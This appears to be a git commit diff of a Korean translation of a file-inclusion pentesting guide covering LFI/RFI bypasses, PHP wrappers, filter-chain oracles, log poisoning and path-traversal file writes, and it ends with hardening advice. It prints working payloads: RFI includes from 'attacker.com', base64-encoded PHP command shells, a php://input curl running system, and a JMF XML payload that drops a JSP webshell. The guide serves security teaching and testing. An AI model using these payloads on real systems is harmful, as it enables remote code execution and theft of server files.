Translated ['src/pentesting-web/file-inclusion/README.md', 'src/pentesti

This commit is contained in:
Translator 2025-08-18 18:21:24 +00:00
parent 3856b0ec67
commit e040f0a071
2 changed files with 186 additions and 109 deletions

View File

@ -7,7 +7,7 @@
**원격 파일 포함 (RFI):** 파일이 원격 서버에서 로드됩니다 (최고: 코드를 작성하면 서버가 이를 실행합니다). PHP에서는 기본적으로 **비활성화**되어 있습니다 (**allow_url_include**).\
**로컬 파일 포함 (LFI):** 서버가 로컬 파일을 로드합니다.
취약점은 사용자가 서버에 의해 로드될 파일을 어떤 식으로든 제어할 수 있을 때 발생합니다.
취약점은 사용자가 서버에 의해 로드될 파일을 어떤 식으로든 제어할 수 있을 때 발생합니다.
취약한 **PHP 함수**: require, require_once, include, include_once
@ -25,8 +25,8 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
{{#endref}}
또한 `/``\`로 변경해 보세요.\
또한 `../../../../../`를 추가해 보세요.
`/``\`로 변경해 보세요.\
`../../../../../`를 추가해 보세요.
파일 /etc/password를 찾기 위해 여러 기술을 사용하는 목록(취약점이 존재하는지 확인하기 위해)은 [여기](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)에서 찾을 수 있습니다.
@ -38,8 +38,8 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
{{#endref}}
또한 `/``\`로 변경해 보세요.\
또한 `C:/`를 제거하고 `../../../../../`를 추가해 보세요.
`/``\`로 변경해 보세요.\
`C:/`를 제거하고 `../../../../../`를 추가해 보세요.
파일 /boot.ini를 찾기 위해 여러 기술을 사용하는 목록(취약점이 존재하는지 확인하기 위해)은 [여기](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)에서 찾을 수 있습니다.
@ -49,7 +49,7 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion
## 기본 LFI 및 우회
모든 예시는 로컬 파일 포함(Local File Inclusion)을 위한 것이지만 원격 파일 포함(Remote File Inclusion)에도 적용될 수 있습니다 (페이지=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).
모든 예시는 로컬 파일 포함(Local File Inclusion)을 위한 것이지만 원격 파일 포함(Remote File Inclusion)에도 적용될 수 있습니다 (페이지=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt>/)).
```
http://example.com/index.php?page=../../../etc/passwd
```
@ -86,34 +86,34 @@ http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
서버의 파일 시스템은 특정 기술을 사용하여 파일뿐만 아니라 디렉토리를 식별하기 위해 재귀적으로 탐색할 수 있습니다. 이 과정은 디렉토리 깊이를 결정하고 특정 폴더의 존재를 탐색하는 것을 포함합니다. 이를 달성하기 위한 자세한 방법은 다음과 같습니다:
1. **디렉토리 깊이 결정:** 현재 디렉토리의 깊이를 확인하기 위해 `/etc/passwd` 파일을 성공적으로 가져옵니다(서버가 Linux 기반인 경우 적용). 예시 URL은 다음과 같이 구조화되어 깊이가 3임을 나타낼 수 있습니다:
1. **디렉토리 깊이 결정:** 현재 디렉토리의 깊이를 확인하기 위해 `/etc/passwd` 파일을 성공적으로 가져옵니다(서버가 Linux 기반인 경우 적용 가능). 예시 URL은 다음과 같이 구조화되어 깊이가 3임을 나타낼 수 있습니다:
```bash
http://example.com/index.php?page=../../../etc/passwd # depth of 3
```
2. **폴더 탐색:** 의심되는 폴더의 이름(예: `private`)을 URL에 추가한 다음 `/etc/passwd`로 돌아갑니다. 추가 디렉토리 레벨은 깊이를 하나 증가시켜야 합니다:
2. **폴더 탐색:** 의심되는 폴더의 이름(예: `private`)을 URL에 추가한 다음 `/etc/passwd`로 돌아갑니다. 추가 디렉토리 수준은 깊이를 하나 증가시켜야 합니다:
```bash
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
```
3. **결과 해석:** 서버의 응답은 폴더의 존재 여부를 나타냅니다:
- **오류 / 출력 없음:** `private` 폴더는 지정된 위치에 존재하지 않을 가능성이 높습니다.
- **`/etc/passwd`의 내용:** `private` 폴더의 존재가 확인니다.
- **`/etc/passwd`의 내용:** `private` 폴더의 존재가 확인되었습니다.
4. **재귀 탐색:** 발견된 폴더는 동일한 기술이나 전통적인 Local File Inclusion (LFI) 방법을 사용하여 하위 디렉토리나 파일을 추가로 조사할 수 있습니다.
파일 시스템의 다른 위치에서 디렉토리를 탐색하려면 페이로드를 적절히 조정하십시오. 예를 들어, `/var/www/``private` 디렉토리가 있는지 확인하려면 (현재 디렉토리가 깊이 3에 있다고 가정하고) 다음을 사용하십시오:
```bash
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
```
### **경로 잘림 기법**
### **Path Truncation Technique**
경로 잘림은 웹 애플리케이션에서 파일 경로를 조작하는 데 사용되는 방법입니다. 이는 종종 특정 보안 조치를 우회하여 제한된 파일에 접근하기 위해 사용됩니다. 목표는 보안 조치에 의해 변경된 후에도 여전히 원하는 파일을 가리키는 파일 경로를 만드는 것입니다.
Path truncation은 웹 애플리케이션에서 파일 경로를 조작하는 데 사용되는 방법입니다. 이는 종종 특정 보안 조치를 우회하여 제한된 파일에 접근하는 데 사용됩니다. 목표는 보안 조치에 의해 변경된 후에도 여전히 원하는 파일을 가리키는 파일 경로를 만드는 것입니다.
PHP에서는 파일 시스템의 특성으로 인해 파일 경로의 다양한 표현이 동등하게 간주될 수 있습니다. 예를 들어:
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, 및 `/etc/passwd/`는 모두 동일한 경로로 처리됩니다.
- 마지막 6자가 `passwd`일 때, `/`를 추가해도(`passwd/`) 대상 파일은 변경되지 않습니다.
- 마찬가지로, 파일 경로에 `.php`가 추가될 경우(`shellcode.php`와 같은), 끝에 `/.` 추가해도 접근하는 파일은 변경되지 않습니다.
- 마지막 6자가 `passwd`일 때, `/`를 추가해도(`passwd/`) 타겟 파일은 변경되지 않습니다.
- 마찬가지로, 파일 경로에 `.php`가 추가될 경우(`shellcode.php`와 같이), 끝에 `/.` 추가해도 접근하는 파일은 변경되지 않습니다.
제공된 예제는 민감한 내용(사용자 계정 정보)으로 인해 일반적인 대상인 `/etc/passwd`에 접근하기 위해 경로 잘림을 활용하는 방법을 보여줍니다:
제공된 예제는 `/etc/passwd`에 접근하기 위해 path truncation을 활용하는 방법을 보여줍니다. 이는 민감한 내용(사용자 계정 정보)으로 인해 일반적인 타겟입니다:
```
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
@ -126,14 +126,14 @@ http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/pas
이러한 시나리오에서는 필요한 탐색 횟수가 약 2027회일 수 있지만, 이 숫자는 서버의 구성에 따라 달라질 수 있습니다.
- **점 세그먼트 및 추가 문자 사용**: 탐색 시퀀스(`../`)와 추가 점 세그먼트 및 문자를 결합하여 파일 시스템을 탐색할 수 있으며, 서버에 의해 추가된 문자열을 효과적으로 무시할 수 있습니다.
- **필요한 탐색 횟수 결정**: 시행착오를 통해 루트 디렉토리로 탐색하고 `/etc/passwd`로 이동하는 데 필요한 정확한 `../` 시퀀스 수를 찾을 수 있으며, 이때 추가된 문자열(예: `.php`)은 중화되지만 원하는 경로(`/etc/passwd`)는 그대로 유지됩니다.
- **가짜 디렉토리로 시작하기**: 존재하지 않는 디렉토리(예: `a/`)로 경로를 시작하는 것이 일반적인 관행입니다. 이 기술은 예방 조치로 사용되거나 서버의 경로 파싱 논리 요구 사항을 충족하기 위해 사용됩니다.
- **필요한 탐색 횟수 결정**: 시행착오를 통해 루트 디렉토리로 탐색한 다음 `/etc/passwd`로 가기 위해 필요한 정확한 `../` 시퀀스 수를 찾을 수 있으며, 이때 추가된 문자열(예: `.php`)은 중화되지만 원하는 경로(`/etc/passwd`)는 그대로 유지됩니다.
- **가짜 디렉토리로 시작하기**: 존재하지 않는 디렉토리(예: `a/`)로 경로를 시작하는 것이 일반적인 관행입니다. 이 기술은 예방 조치로 사용되거나 서버의 경로 파싱 논리 요구 사항을 충족하기 위해 사용됩니다.
경로 단축 기술을 사용할 때는 서버의 경로 파싱 동작 및 파일 시스템 구조를 이해하는 것이 중요합니다. 각 시나리오는 다른 접근 방식을 요구할 수 있으며, 가장 효과적인 방법을 찾기 위해 테스트가 종종 필요합니다.
**이 취약점은 PHP 5.3에서 수정되었습니다.**
### **필터 우회 트릭**
### **필터 우회 기법**
```
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
@ -143,19 +143,19 @@ http://example.com/index.php?page=PhP://filter
```
## 원격 파일 포함
php에서는 기본적으로 **`allow_url_include`**가 **꺼져**기 때문에 비활성화되어 있습니다. 작동하려면 **켜져** 있어야 하며, 이 경우 서버에서 PHP 파일을 포함하고 RCE를 얻을 수 있습니다:
php에서는 기본적으로 **`allow_url_include`**가 **꺼져** 있습니다. 작동하려면 **켜져** 있어야 하며, 이 경우 서버에서 PHP 파일을 포함하고 RCE를 얻을 수 있습니다:
```python
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
```
어떤 이유로 **`allow_url_include`**가 **On**인 경우, 그러나 PHP가 외부 웹페이지에 대한 접근을 **필터링**하고 있다면, [이 게시물에 따르면](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), 예를 들어 base64로 인코딩된 PHP 코드를 디코드하고 RCE를 얻기 위해 데이터 프로토콜을 사용할 수 있습니다:
만약 어떤 이유로 **`allow_url_include`**가 **On** 상태이지만 PHP가 외부 웹페이지에 대한 접근을 **필터링**하고 있다면, [이 게시물](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/)에 따르면, 예를 들어 base64로 인코딩된 PHP 코드를 디코드하기 위해 데이터 프로토콜을 사용할 수 있으며, 이를 통해 RCE를 얻을 수 있습니다:
```
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
```
> [!NOTE]
> 이전 코드에서 최종 `+.txt`는 공격자가 `.txt`로 끝나는 문자열이 필요했기 때문에 추가되었습니다. 따라서 문자열은 그것으로 끝나고 b64 디코드 후 그 부분은 단지 쓰레기를 반환하며 실제 PHP 코드가 포함됩니다(따라서 실행됩니다).
> [!TIP]
> 이전 코드에서 최종 `+.txt`는 공격자가 `.txt`로 끝나는 문자열이 필요했기 때문에 추가되었습니다. 그래서 문자열은 그것으로 끝나고 b64 디코드 후 그 부분은 단지 쓰레기를 반환하며 실제 PHP 코드가 포함될 것입니다 (따라서 실행됩니다).
또 다른 예시 **`php://` 프로토콜을 사용하지 않는** 경우는:
또 다른 예시 **`php://` 프로토콜을 사용하지 않는** 것은:
```
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
```
@ -166,14 +166,14 @@ data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
```
사용자가 **`file_name`**에 **절대 경로**를 전달하면, **이전 경로는 단순히 제거됩니다**:
사용자가 **`file_name`**에 **절대 경로**를 전달하면, **이전 경로 제거됩니다**:
```python
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
```
다음은 [문서](https://docs.python.org/3.10/library/os.path.html#os.path.join)에 따른 의도된 동작입니다:
> 구성 요소가 절대 경로인 경우, 모든 이전 구성 요소는 버려지고 절대 경로 구성 요소에서 결합이 계속됩니다.
> 구성 요소가 절대 경로인 경우, 모든 이전 구성 요소는 버려지고 절대 경로 구성 요소에서 계속 결합됩니다.
## Java 디렉토리 목록
@ -181,7 +181,7 @@ Java에서 경로 탐색(Path Traversal)이 있는 경우 **파일 대신 디렉
## 상위 25개 매개변수
다음은 로컬 파일 포함(LFI) 취약점에 취약할 수 있는 상위 25개 매개변수 목록입니다(출처: [링크](https://twitter.com/trbughunters/status/1279768631845494787)):
다음은 로컬 파일 포함(LFI) 취약점에 취약할 수 있는 상위 25개 매개변수 목록입니다(출처: [link](https://twitter.com/trbughunters/status/1279768631845494787)):
```
?cat={payload}
?dir={payload}
@ -226,10 +226,10 @@ PHP 필터는 데이터가 읽히거나 쓰이기 전에 기본 **수정 작업
- `convert.base64-decode`
- `convert.quoted-printable-encode`
- `convert.quoted-printable-decode`
- `convert.iconv.*` : 다른 인코딩으로 변환합니다(`convert.iconv.<input_enc>.<output_enc>`). 지원되는 **모든 인코딩 목록**을 얻으려면 콘솔에서 `iconv -l`을 실행하세요.
- `convert.iconv.*` : 다른 인코딩으로 변환합니다(`convert.iconv.<input_enc>.<output_enc>`). **지원되는 모든 인코딩 목록**을 얻으려면 콘솔에서 `iconv -l`을 실행하세요.
> [!WARNING]
> `convert.iconv.*` 변환 필터를 남용하면 **임의의 텍스트를 생성**할 수 있으며, 이는 임의의 텍스트를 작성하거나 include 프로세스와 같은 함수를 임의의 텍스트로 만들 때 유용할 수 있습니다. 더 많은 정보는 [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md)를 확인하세요.
> `convert.iconv.*` 변환 필터를 남용하면 **임의의 텍스트를 생성**할 수 있으며, 이는 임의의 텍스트를 작성하거나 include 프로세스와 같은 기능을 만들 때 유용할 수 있습니다. 더 많은 정보는 [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md)를 확인하세요.
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
- `zlib.deflate`: 콘텐츠를 압축합니다 (많은 정보를 유출할 때 유용함)
@ -237,7 +237,7 @@ PHP 필터는 데이터가 읽히거나 쓰이기 전에 기본 **수정 작업
- [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
- `mcrypt.*` : 사용 중단됨
- `mdecrypt.*` : 사용 중단됨
- 기타 필터
- Other Filters
- php에서 `var_dump(stream_get_filters());`를 실행하면 몇 가지 **예상치 못한 필터**를 찾을 수 있습니다:
- `consumed`
- `dechunk`: HTTP 청크 인코딩을 역전환합니다.
@ -271,21 +271,21 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
> [!WARNING]
> "php://filter" 부분은 대소문자를 구분하지 않습니다.
### php 필터를 오라클로 사용하여 임의 파일 읽기
### php 필터를 오라클로 사용하여 임의 파일 읽기
[**이 게시물**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle)에서는 서버로부터 반환된 출력 없이 로컬 파일을 읽는 기술이 제안되었습니다. 이 기술은 **php 필터를 오라클로 사용하여 파일을 불리언 방식으로 유출하는 것**에 기반합니다. 이는 php 필터를 사용하여 텍스트를 충분히 크게 만들어 php가 예외를 발생시키도록 할 수 있기 때문입니다.
[**이 게시물**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle)에서는 서버로부터 반환된 출력 없이 로컬 파일을 읽는 기술이 제안됩니다. 이 기술은 **php 필터를 사용하여 파일을 불리언 방식으로(문자별로) 유출하는 것**에 기반합니다. 이는 php 필터를 사용하여 텍스트를 충분히 크게 만들어 php가 예외를 발생시키도록 할 수 있기 때문입니다.
원래 게시물에서는 기술에 대한 자세한 설명을 찾을 수 있지만, 여기 간단한 요약이 있습니다:
- **`UCS-4LE`** 코덱을 사용하여 텍스트의 선행 문자를 시작 부분에 고 문자열의 크기를 기하급수적으로 증가시킵니다.
- **`UCS-4LE`** 코덱을 사용하여 텍스트의 선행 문자를 시작 부분에 남기고 문자열의 크기를 기하급수적으로 증가시킵니다.
- 이는 **초기 문자가 올바르게 추측되었을 때 텍스트가 너무 커지도록** 생성하는 데 사용됩니다. 그러면 php가 **오류**를 발생시킵니다.
- **dechunk** 필터는 **첫 번째 문자가 16진수가 아닐 경우 모든 것을 제거**하므로 첫 번째 문자가 16진수인지 알 수 있습니다.
- 이것은 이전의 방법과 결합되어 (추측된 문자에 따라 다른 필터도 사용됨) 텍스트의 시작 부분에서 문자를 추측할 수 있게 해줍니다. 충분한 변환을 수행하여 16진수 문자가 아니게 만들 때를 확인합니다. 16진수라면 dechunk는 삭제하지 않으며 초기 폭탄이 php 오류를 발생시킵니다.
- **convert.iconv.UNICODE.CP930** 코덱은 각 문자를 다음 문자로 변환합니다 (예: a -> b). 이를 통해 첫 번째 문자가 `a`인지 발견할 수 있습니다. 예를 들어, 이 코덱을 6번 적용하면 a->b->c->d->e->f->g가 되어 문자가 더 이상 16진수 문자가 아니게 되므로 dechunk는 삭제하지 않고 php 오류가 발생합니다.
- **rot13**과 같은 다른 변환을 시작 부분에 사용하면 n, o, p, q, r과 같은 다른 문자를 유출할 수 있습니다 (다른 코덱을 사용하여 다른 문자를 16진수 범위로 이동할 수 있습니다).
- 초기 문자가 숫자일 경우 base64로 인코딩하고 처음 두 문자를 유출하여 숫자를 유출해야 합니다.
- 이것은 이전의 것과 결합되어(추측된 문자에 따라 다른 필터도 사용됨) 텍스트의 시작 부분에서 문자를 추측할 수 있게 해줍니다. 충분한 변환을 수행하여 16진수 문자가 아니게 만들 때를 확인합니다. 16진수인 경우 dechunk는 삭제하지 않으며 초기 폭탄이 php 오류를 발생시킵니다.
- **convert.iconv.UNICODE.CP930** 코덱은 모든 문자를 다음 문자로 변환합니다(따라서 이 코덱 이후: a -> b). 이를 통해 첫 번째 문자가 `a`인지 발견할 수 있습니다. 예를 들어, 이 코덱을 6번 적용하면 a->b->c->d->e->f->g가 되어 문자가 더 이상 16진수 문자가 아니게 됩니다. 따라서 dechunk는 삭제하지 않으며 php 오류가 발생합니다.
- **rot13**과 같은 다른 변환을 시작 부분에 사용하면 n, o, p, q, r과 같은 다른 문자를 유출할 수 있습니다(다른 코덱을 사용하여 다른 문자를 16진수 범위로 이동할 수 있습니다).
- 초기 문자가 숫자일 경우 base64로 인코딩하고 숫자를 유출하기 위해 처음 두 문자를 유출해야 합니다.
- 최종 문제는 **초기 문자 이상을 유출하는 방법**을 보는 것입니다. **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE**와 같은 순서 메모리 필터를 사용하면 문자의 순서를 변경하고 텍스트의 첫 번째 위치에 다른 문자를 가져올 수 있습니다.
- 추가 데이터를 얻기 위해서는 **초기 부분에 2바이트의 쓰레기 데이터를 생성**하는 아이디어가 필요합니다. **convert.iconv.UTF16.UTF16**을 적용하고 **UCS-4LE**를 사용하여 **다음 2바이트와 피벗**을 만들고, **쓰레기 데이터까지 데이터를 삭제**합니다 (이것은 초기 텍스트의 처음 2바이트를 제거합니다). 원하는 비트를 유출할 때까지 계속 진행합니다.
- 추가 데이터를 얻기 위해서는 **초기 부분에 2바이트의 쓰레기 데이터를 생성**하는 아이디어가 필요합니다. **convert.iconv.UTF16.UTF16**을 적용하고 **UCS-4LE**를 사용하여 **다음 2바이트와 피벗**을 만들고, **쓰레기 데이터까지 데이터를 삭제**합니다(이것은 초기 텍스트의 처음 2바이트를 제거합니다). 원하는 비트에 도달할 때까지 계속 진행합니다.
게시물에서는 이를 자동으로 수행할 수 있는 도구도 유출되었습니다: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
@ -300,7 +300,7 @@ $myfile = fopen("/etc/passwd", "r");
### zip:// 및 rar://
PHPShell이 포함된 Zip 또는 Rar 파일을 업로드하고 접근하십시오.\
PHPShell이 포함된 Zip 또는 Rar 파일을 업로드하고 접근하세요.\
rar 프로토콜을 악용할 수 있으려면 **특별히 활성화되어야** 합니다.
```bash
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
@ -343,7 +343,7 @@ curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system
```
### phar://
`.phar` 파일은 웹 애플리케이션이 파일 로딩을 위해 `include`와 같은 함수를 사용할 때 PHP 코드를 실행하는 데 활용될 수 있습니다. 아래의 PHP 코드 스니펫`.phar` 파일을 생성하는 방법을 보여줍니다:
`.phar` 파일은 웹 애플리케이션이 파일 로딩을 위해 `include`와 같은 함수를 사용할 때 PHP 코드를 실행하는 데 활용될 수 있습니다. 아래의 PHP 코드 조각`.phar` 파일을 생성하는 방법을 보여줍니다:
```php
<?php
$phar = new Phar('test.phar');
@ -360,7 +360,7 @@ php --define phar.readonly=0 create_path.php
LFI가 PHP 코드 실행 없이 파일 읽기만 수행하는 경우, `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, 또는 `filesize()`와 같은 함수를 통해 역직렬화 취약점을 악용할 수 있습니다. 이 취약점은 `phar` 프로토콜을 사용하여 파일을 읽는 것과 관련이 있습니다.
`.phar` 파일의 맥락에서 역직렬화 취약점을 악용하는 방법에 대한 자세한 내용은 아래 링크된 문서를 참조하십시오:
`.phar` 파일의 역직렬화 취약점을 악용하는 방법에 대한 자세한 내용은 아래 링크된 문서를 참조하십시오:
[Phar Deserialization Exploitation Guide](phar-deserialization.md)
@ -370,13 +370,13 @@ phar-deserialization.md
### CVE-2024-2961
**php 필터를 지원하는 PHP에서 읽은 임의의 파일을 악용하여 RCE를 얻는 것이 가능했습니다.** 자세한 설명은 [**이 게시물에서 찾을 수 있습니다**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
**php 필터를 지원하는 임의의 파일을 PHP에서 읽는 것을 악용하여 RCE를 얻는 것이 가능했습니다.** 자세한 설명은 [**이 게시물에서 찾을 수 있습니다**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
간단한 요약: PHP 힙에서 **3 바이트 오버플로우**가 악용되어 **특정 크기의 자유 청크 체인을 변경**하여 **어떤 주소에든 쓸 수 있게** 되었고, 그래서 **`system`**을 호출하는 후크가 추가되었습니다.\
더 많은 PHP 필터를 악용하여 특정 크기의 청크를 할당할 수 있었습니다.
### More protocols
여기에서 포함할 수 있는 더 많은 [**프로토콜을 확인하십시오**](https://www.php.net/manual/en/wrappers.php)**:**
여기에서 포함할 수 있는 더 많은 [**프로토콜**](https://www.php.net/manual/en/wrappers.php)**:**
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — 메모리 또는 임시 파일에 쓰기 (파일 포함 공격에서 어떻게 유용할 수 있는지 확실하지 않음)
- [file://](https://www.php.net/manual/en/wrappers.file.php) — 로컬 파일 시스템 접근
@ -389,7 +389,7 @@ phar-deserialization.md
## LFI via PHP's 'assert'
PHP의 'assert' 함수와 관련된 Local File Inclusion (LFI) 위험은 문자열 내에서 코드를 실행할 수 있기 때문에 특히 높습니다. 입력에 ".."와 같은 디렉토리 탐색 문자가 포함되어 있지만 제대로 정리되지 않는 경우 특히 문제가 됩니다.
PHP의 'assert' 함수는 문자열 내에서 코드를 실행할 수 있어 Local File Inclusion (LFI) 위험이 특히 높습니다. 이는 ".."와 같은 디렉토리 탐색 문자가 포함된 입력이 확인되지만 적절하게 정리되지 않는 경우 특히 문제가 됩니다.
예를 들어, PHP 코드는 다음과 같이 디렉토리 탐색을 방지하도록 설계될 수 있습니다:
```bash
@ -408,11 +408,11 @@ assert("strpos('$file', '..') === false") or die("");
## PHP 블라인드 경로 탐색
> [!WARNING]
> 이 기술은 **PHP 함수**의 **파일 경로**를 **제어**할 수 있는 경우에 관련이 있으며, 이 함수는 **파일에 접근**하지만 파일의 내용을 볼 수는 없습니다(예: **`file()`**에 대한 간단한 호출처럼) 파일의 내용은 표시되지 않습니다.
> 이 기술은 **PHP 함수**의 **파일 경로**를 **제어**할 수 있는 경우에 관련이 있으며, 이 함수는 **파일에 접근**하지만 파일의 내용을 볼 수는 없습니다(예: **`file()`**에 대한 간단한 호출처럼) 내용이 표시되지 않습니다.
[**이 놀라운 게시물**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html)에서는 블라인드 경로 탐색이 PHP 필터를 통해 **오류 오라클을 통해 파일의 내용을 유출하는 방법**에 대해 설명합니다.
[**이 놀라운 게시물**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html)에서는 블라인드 경로 탐색이 PHP 필터를 통해 **오류 오라클을 통해 파일의 내용을 유출하는 방법**이 설명되어 있습니다.
요약하자면, 이 기술은 **"UCS-4LE" 인코딩**을 사용하여 파일의 내용을 **매우 크게** 만들어 **파일을 여는 PHP 함수**가 **오류**를 발생시키도록 합니다.
요약하자면, 이 기술은 **"UCS-4LE" 인코딩**을 사용하여 파일의 내용을 **너무 크게** 만들어 **파일을 여는 PHP 함수**가 **오류**를 발생시키도록 합니다.
그런 다음, 첫 번째 문자를 유출하기 위해 필터 **`dechunk`**가 사용되며, **base64** 또는 **rot13**와 같은 다른 필터와 함께 사용되고, 마지막으로 필터 **convert.iconv.UCS-4.UCS-4LE**와 **convert.iconv.UTF16.UTF-16BE**가 사용되어 **다른 문자를 시작 부분에 배치하고 유출합니다**.
@ -422,20 +422,66 @@ assert("strpos('$file', '..') === false") or die("");
## LFI2RCE
### 원격 파일 포함
### 경로 탐색을 통한 임의 파일 쓰기 (웹쉘 RCE)
이전에 설명한 대로, [**이 링크를 따르세요**](#remote-file-inclusion).
서버 측 코드가 파일을 수집/업로드할 때 사용자 제어 데이터를 사용하여 목적지 경로를 생성하고 이를 정규화하거나 검증하지 않으면 `..` 세그먼트와 절대 경로가 의도된 디렉토리를 벗어나 임의 파일 쓰기를 유발할 수 있습니다. 웹에 노출된 디렉토리 아래에 페이로드를 배치할 수 있다면, 일반적으로 웹쉘을 떨어뜨려 인증되지 않은 RCE를 얻습니다.
### Apache/Nginx 로그 파일을 통한
전형적인 악용 워크플로우:
- 경로/파일 이름을 수락하고 내용을 디스크에 쓰는 엔드포인트 또는 백그라운드 작업에서 쓰기 원시 작업을 식별합니다(예: 메시지 기반 수집, XML/JSON 명령 처리기, ZIP 추출기 등).
- 웹에 노출된 디렉토리를 결정합니다. 일반적인 예:
- Apache/PHP: `/var/www/html/`
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/``shell.jsp` 배포
- IIS: `C:\inetpub\wwwroot\``shell.aspx` 배포
- 의도된 저장 디렉토리를 벗어나 웹 루트로 나가는 탐색 경로를 작성하고 웹쉘 내용을 포함합니다.
- 배포된 페이로드로 이동하여 명령을 실행합니다.
Apache 또는 Nginx 서버가 **LFI에 취약**한 경우 포함 함수 내에서 **`/var/log/apache2/access.log` 또는 `/var/log/nginx/access.log`**에 접근을 시도할 수 있으며, **사용자 에이전트** 또는 **GET 매개변수** 내에 **`<?php system($_GET['c']); ?>`**와 같은 PHP 쉘을 설정하고 해당 파일을 포함할 수 있습니다.
노트:
- 쓰기를 수행하는 취약한 서비스는 비HTTP 포트에서 수신할 수 있습니다(예: TCP 4004에서 JMF XML 리스너). 나중에 주요 웹 포털(다른 포트)이 페이로드를 제공합니다.
- Java 스택에서는 이러한 파일 쓰기가 종종 간단한 `File`/`Paths` 연결로 구현됩니다. 정규화/허용 목록 부족이 핵심 결함입니다.
일반적인 XML/JMF 스타일 예제(제품 스키마는 다를 수 있으며 DOCTYPE/본문 래퍼는 탐색에 무관합니다):
```xml
<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
<Command Type="SubmitQueueEntry">
<!-- Write outside the intake folder into the webroot via traversal -->
<Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
<Data>
<![CDATA[
<%@ page import="java.io.*" %>
<%
String c = request.getParameter("cmd");
if (c != null) {
Process p = Runtime.getRuntime().exec(c);
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
in.transferTo(out);
}
}
%>
]]>
</Data>
</Command>
</JMF>
```
이 버그 클래스를 무력화하는 강화 방법:
- 정규 경로로 해결하고 허용 목록에 있는 기본 디렉토리의 하위 디렉토리인지 확인합니다.
- `..`, 절대 루트 또는 드라이브 문자가 포함된 경로를 거부하고 생성된 파일 이름을 선호합니다.
- 작성자를 낮은 권한의 계정으로 실행하고 쓰기 디렉토리를 제공된 루트와 분리합니다.
## 원격 파일 포함
이전에 설명된 내용, [**이 링크를 따르세요**](#remote-file-inclusion).
### Apache/Nginx 로그 파일을 통한 접근
Apache 또는 Nginx 서버가 포함 함수 내에서 **LFI에 취약하다면**, **`/var/log/apache2/access.log` 또는 `/var/log/nginx/access.log`**에 접근을 시도할 수 있습니다. **user agent** 또는 **GET 매개변수** 내에 **`<?php system($_GET['c']); ?>`**와 같은 php 쉘을 설정하고 해당 파일을 포함합니다.
> [!WARNING]
> 쉘에 대해 **단일 인용부호** 대신 **이중 인용부호**를 사용하면 이중 인용부호가 "_**quote;**_" 문자열로 수정되며, **PHP는 그곳에서 오류를 발생시킵니다** 그리고 **다른 것은 실행되지 않습니다**.
> 쉘에 대해 **단일 인용부호** 대신 **이중 인용부호**를 사용하면, 이중 인용부호가 "_**quote;**_" 문자열로 수정되므로, **PHP는 오류를 발생시키고** **다른 것은 실행되지 않습니다**.
>
> 또한, **페이로드를 올바르게 작성해야** 하며, 그렇지 않으면 PHP가 로그 파일을 로드하려고 할 때마다 오류가 발생하고 두 번째 기회를 갖지 못할 것입니다.
> 또한, **페이로드를 올바르게 작성**해야 하며, 그렇지 않으면 PHP가 로그 파일을 로드하려고 할 때마다 오류가 발생하고 두 번째 기회를 얻지 못합니다.
